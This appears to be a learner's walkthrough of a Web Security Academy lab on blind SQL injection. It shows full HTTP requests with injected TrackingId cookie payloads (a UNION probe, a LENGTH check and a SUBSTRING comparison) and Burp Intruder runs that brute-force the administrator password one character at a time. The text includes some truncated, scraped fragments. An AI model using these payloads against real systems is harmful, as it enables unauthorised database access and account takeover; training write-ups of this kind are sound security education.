

# [LAB-12] SQL-Injection - Blind SQL injection with Conditional responses

## Lab: Blind SQL injection with conditional responses

PRACTITIONER



This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a `Welcome back` message in the page if the query returns any rows.

The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user.

To solve the lab, log in as the `administrator` user.

**Hint**

In this lab we have already information to work on, we have the name of the user that we need to get the password "**administrator**", which table we can find this user "**users**" and what is the user name and password columns so we can query the information. "**username**" & "**password**"

To start off, I went to the website and I looked for the vulnerable field which is disclosed in the website, named "**TrackingId**", then what I did was some fuzzing to see if I could inject code and with what SQL type I was working with.

```
GET /filter?category=Gifts HTTP/2
Host: 0a40004e03095b9680d96cec00a50022.web-security-academy.net
Cookie: TrackingId=oDUFbajL5MTg380q'--; session=y0CEBUZkExbA1kHUDiNsCubo2yDQdLka
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a40004e03095b9680d96cec00a50022.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
```

**WebSecurity Academy**

Blind SQL injection with conditional responses

[Back to lab home](#) [Back to lab description >>](#)

[Home](#) | [Welcome](#)

WE LIKE TO

As we can see that it worked! We can see it because we still have the "Welcome Back" message, means that we're able to inject code in the " '-- "

Knowing this, what I did after is checking how many columns we're working with

```
GET /filter?category=Gifts HTTP/2
Host: 0a40004e03095b9680d96cec00a50022.web-security-academy.net
Cookie: TrackingId=oDUFbajL5MTg380q' UNION+SELECT+NULL--; session=y0CEBUZkExbA1kHUDiNsCubo2yDQdLka
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a40004e03095b9680d96cec00a50022.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
```

**WebSecurity Academy**

Blind SQL injection with conditional responses

[Back to lab home](#) [Back to lab description >>](#)

[Home](#) | [Welc](#)

WE LIKE TO

Now we can see that we're working with one column! As the lab said, we have a "**users**" table and we should have a "**password**" column, and the username that we want to query is "**administrator**", with all this information,

what I did was just query how long is the "**administrator**" password because that is what we're missing in order to log in into the account.

In order to find the account password, I did a trial and error using "**LENGTH**" which can be used to check the length of the string.

Cookie: TrackingId=  
Sz35SiXmV1CKGW5Ky' AND+ (SELECT+username+FROM+users+WHERE+username='administrator'+AND+LENGTH(password)=20)='administrat  
or'-----; session=8NdfdOWPbfXpB2s6JOWdI3hImdUdTdWd  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Referer: https://0acf00b00486473fa9615026007c0006.web-security-academy.net/filter?category=Lifestyle  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Te: trailers  
Content-Length: 0

WEB SECURITY Academy

Back to lab home Back to lab description >>

Home | Welc

WE LIKE TO SHOP

Lifestyle

Now that we know that the password is 20 characters long, what we're going to do is now trying to get the password. So I went to Intruder, I brute forced the password that contained the 20 digit, but, this is a different brute force because I am not doing it in order to match the exact pattern and letting it run for a long time because it would never break, the way I am doing is matching each character and as soon as I match it then I move to the next one, this way I am doing 36+36+..... Instead of trying to do 20p20 (It is just mathematically impossible to break a 20 character password like that). as soon as each character is correct we move to the next one!

This is the payload used (The full password will be displayed but it was done 1 by 1)

Results

Positions

Intruder attack results filter: Showing all items

Request ^	Payload	Status code	Response received	Error	Timeout	Length
18	r	200	179			5439
19	s	200	179			5439
20	t	200	183			5439
21	u	200	183			5439
22	v	200	178			5439
23	w	200	181			5439
24	x	200	182			5439
25	y	200	159			5439
26	z	200	159			5378
27	0	200	186			5439
28	1	200	207			5439

How each character was found (We know it is the correct character due the length changing)

ry=Pets HTTP/2  
188280e44edc00170029.web-security-academy.net  
=SEE7UPegSUZTfjq0' AND+SUBSTRING((SELECT+Password+FROM+Users+WHERE+Username+=+administrator'),+1,+20)+>+ 'z85d4i7psb6unavk181255; session=b3Cl1oOWZukNSUEafDdLSSaw5SdECH9G  
a/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0  
application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
n-US,en;q=0.5  
zip, deflate, br  
ab900c40487188280e44edc00170029.web-security-academy.net/  
equests: 1  
cument  
vigate  
me-origin

Payload configuration

This payload type generates payloads of specified lengths t  
of a specified character set.

Character set: abcdefghijklmnopqrstuvwxyz0123456789  
Min length: 1  
Max length: 1

Payload processing

You can define rules to perform various processing tasks or  
used.

Add Enabled Rule  
Edit

29. Intruder attack of https://0ab900c40487188280e44edc00170029.web-security-academy.net

Results Positions

Intruder attack results filter: Showing all items

Request ^	Payload	Status code	Response received	Error
25	y	200	202	
26	z	200	108	
27	0	200	147	
28	1	200	190	
29	2	200	190	
30	3	200	189	
31	4	200	173	
32	5	200	173	
33	6	200	161	
34	7	200	157	

z85d4i7psb6unavk1812

Ln 11, Col 21 361 characters

After doing the brute force for 20 times and character matching I found the password! Now let's log in!

Congratulations, you solved the lab!

## My Account

Your username is: administrator

Email

Update email